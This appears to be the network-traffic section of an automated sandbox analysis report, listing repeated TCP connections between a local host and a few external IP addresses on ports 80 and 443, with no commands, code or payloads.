Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 104.18.10.207:80
Source: global trafficTCP traffic: 192.168.2.22:49177 -> 142.250.181.238:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49182 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49182 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49183 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49184 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49185 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49186 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49187 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49188 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49189 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49190 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49191 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49189 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49192 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49193 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49194 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49194 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49195 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49194 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49195 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49194 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49195 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49194 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49195 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49194 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49194 -> 187.45.240.69:80
